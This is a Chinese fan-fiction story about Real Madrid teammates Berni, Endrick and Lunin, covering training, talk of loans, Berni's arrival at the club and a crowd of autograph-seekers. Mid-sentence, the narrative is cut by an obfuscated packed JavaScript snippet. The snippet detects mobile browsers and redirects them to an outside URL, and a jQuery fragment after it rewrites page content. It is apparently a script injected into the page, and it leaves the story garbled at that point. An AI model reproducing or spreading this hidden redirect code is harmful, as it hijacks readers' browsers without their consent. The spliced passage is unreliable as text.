恩德里克转而呼唤他：“伯尼！我们来比赛谁踢中中球门横梁的次数更多吧？” 恩德里克把球放在地上，身上的白色运动服已经被汗浸透，他助跑大力打门，球像炮弹出膛一样打在横梁上，响亮的“咚”一声反弹入网。 伯尼夸他，好霸气的弧线，像重炮卡洛斯。 恩德里克还在淌着汗，伸脚去拨离他最近的另一个球。他踢了五个任意球，只有最后一个弧线略低了一点，没击中横梁。 卢宁也夸他，很棒。 伯尼站在球门前抬眼望过去，视线中只有绿茵、球门与菱格球网，他的心突然平静下来，脚抢在思绪流动之前射门—— 五球五中。 他听到卢宁和恩德里克在背后鼓掌，恩德里克喊道：“Bravo! (太完美了！)” 伯尼正把散落的足球拣回筐里时，恩德里克一直盯着他瞧，手里的矿泉水瓶捏得“呲啦”一下扁下去又鼓起来，问道：“伯尼，你的定位球真的很准，你从小就能踢这么准吗？” 伯尼笑着摇摇头，“还是得练的……可能我小时候也没什么别的爱好，就喜欢踢球。” “很多人都练不出来的，在巴西喜欢足球的小孩太多了，但像你这样有天赋的没几个，”恩德里克也笑了一下，露出洁白的牙齿，“我感觉……你好像能和足球说话。” 伯尼有点不好意思地挠挠头。 卢宁看一眼恩德里克又看一眼他，仍然没什么表情，低头摆弄自己的手套。 “那你有没有想过……先出去踢一阵？”恩德里克看着伯尼，“租借那种。你经纪人有没有跟你聊过？有没有别的队想把你租过去？” “卢宁，你呢？你想过没？出去踢一年那种。” 卢宁答道：“没有。” 伯尼挑挑眉，只是问：“你不想在皇马踢了？” “不是，”恩德里克别开了眼睛，望着不远处的球门，眉毛垂着，一滴汗顺着鼻梁滑下来，“……是米兰达问我，她说……法国里昂很漂亮。” 伯尼愣了一下，原来是因为这个。 他把手里的最后一个球扔进筐里，手肘撑在框子边缘，满脸笑容，语气却非常执着： “……我倒是从来没想过在皇马之外的俱乐部踢球。除非俱乐部不要我，不然我不会走。我也知道皇马的球员都很强，也知道离开皇马的人很多在别的地方也踢得很好……但我挺喜欢这里的，来了之后，我没想过要走。” 伯尼还有一句话没说出口，他其实想在皇马退役呢。 恩德里克抹了一把额头上的汗，小声咕哝道：“可要是一直替补没比赛踢，水平也很难进步，身体也不适应比赛节奏……在国家队肯定也没法保持最好状态。” 卢宁凉凉道：“能坐替补席已经不错了，还有人连替补都轮不上啊。” 伯尼想到他们的三门凯帕，笑容一下子收敛了。 恩德里克像是没听见似的，继续自言自语道：“……最后可能是浪费了很多时间，还得走人。运气好的像阿什拉夫那样能去巴黎，运气不好的就——” 恩德里克没再说下去，或许是看见伯尼脸上的迷茫表情，眼睛睁大了一瞬，像是突然意识到了什么似的，皱着眉头问他：“呃，伯尼，你觉得……一个成功的球员是什么样的？” 伯尼沉默了几秒，极其诚实地告诉他：“能一直踢出好球，同时真心喜欢足球。” 他看着恩德里克“呲啦”一声捏扁了瓶子，汗正无止无尽地顺着棕黑的脸颊淌下来，像是他那蓬头发里藏着个水龙头似的。 恩德里克也望着他，仿佛第一天认识他似的新奇目光。 他们两个并肩在皇马的替补席上坐了两年，恩德里克却好像从今天才开始了解他。 恩德里克之后说，我明白你的意思了，伯尼，可你不想拿金球奖吗？嗯，不对，我也不是那个意思—— 他两只手“哗啦哗啦”把塑料瓶捏得很响。 伯尼听懂了，视线越过看起来惴惴不安的恩德里克望向远方，他眼前一望无际的草皮延伸向另一端。 “从皇马训练中心到伯纳乌球场不过几公里的距离，很多孩子却一生都没有走到过。” 这是伯尼刚来到皇马时门德斯说的话，当时车正从训练中心驶出，门德斯指着车窗外掠过那一片绿茵笑着和他说话，浅灰色西装在车灯下透着丝绸的光泽。 伯尼却笑不出来。 当时伯尼还不认识恩德里克，门德斯把他带来皇马首次亮相，神情温和地向他提出了两个要求—— 第一，写一篇回忆童年艰辛的演讲稿。 第二，把头发染成他舅舅法比奥·科恩特朗之前在皇马时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323586|199092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的金棕色。 门德斯说得很含蓄，但他听懂了，随后神情平静地拒绝了。 他还记得门德斯当时坐在他对面，双手交握着放在桌上，脸上的笑容就那么一点点淡下去，然后开口道：“……那好吧，这是你的决定，我尊重。”他顿了顿，又露出那种职业性的微笑，“欢迎来到皇马。希望你在这里过得不错。” 于是，伯尼在皇马的亮相仪式平淡收尾，因为那天马德里出了一场车祸，他的照片没有印在报纸的头版上，但足球小报报道了他——“法比奥·科恩特朗的侄子加盟皇马，只是没有穆里尼奥的庇护，他还能在这里站稳脚跟吗？” 他并没把小报的消息告诉他舅舅，但他舅舅仍然知道了，特地给他发了条讯息：那些狗仔一直记恨着我……还好有你来帮我分担一下火力[赞] 一个月后，伯尼在皇马的官网上看到了恩德里克加盟皇马的亮相视频，一身球衣，手举着麦克风边发言边流泪，而他妈妈坐在台下，哭得眼妆晕染成一片，蓝紫色混合着化开，像是伯尼外公家墙上那片暗色的霉斑。 伯尼感觉自己像是被什么击中了，心里有个不大不小的窟窿，他立刻跳起来去找他妈，问她：“如果那天你去马德里看了我的亮相仪式，你会哭出来吗？” 他妈妈正俯在缝纫机前“笃笃笃”地工作，听他问完，头也没抬大声说：“当然不会！你实现了你的梦想，我高兴都还来不及！” 缝纫机“笃笃”的响声不绝于耳，伯尼看向一旁柜子上的一个小相框，那旁边摆着一个小圣母像，金发，蓝袍，白衣，面容圣洁而美丽。 …… 那天训练结束时伯尼载着恩德里克离开，因为恩德里克还没考出驾照，就这么持续两年了。 黑色SUV刚驶出停车场，迎面就看见街边站着一排举着手机的人，镜头对着他们“咔擦咔擦”地闪烁。 伯尼把车停下来，正想打开车窗，人群一下子涌过来，手机举过头顶对着车内拍着，恩德里克抱怨道：“都是狗仔——你干嘛给他们签名？而且他们未必是在等我们俩。” 伯尼笑了一下，“我们俩的签名还没那么值钱吧，他们不想签的话不会围过来的。” 恩德里克像是思索了一会儿，然后无奈地耸耸肩。 伯尼打开车窗—— “伯尼！伯尼这边！” “Hey Berni！一个签名，求你了！就这儿！在球衣这儿签一下！” “伯尼，那个点球太漂亮了！” “恩德里克！看这边！一张照片！Endrick！Vamos！” “可以给我儿子签一下吗？就一下！” 直到他们挥手和球迷们道别，恩德里克双手抱头向后躺倒在座位上，嘴角的笑容收都收不住，两排大白牙明晃晃地露在外面。 “感觉不错吧？”伯尼打了圈方向盘，眼睛望着前方，“坚持住，不要走。你来皇马的时候都说了——这是世界上最大的俱乐部，在皇马，你必须赢下一切。至少……先拿个欧冠冠军和西甲冠军再说。”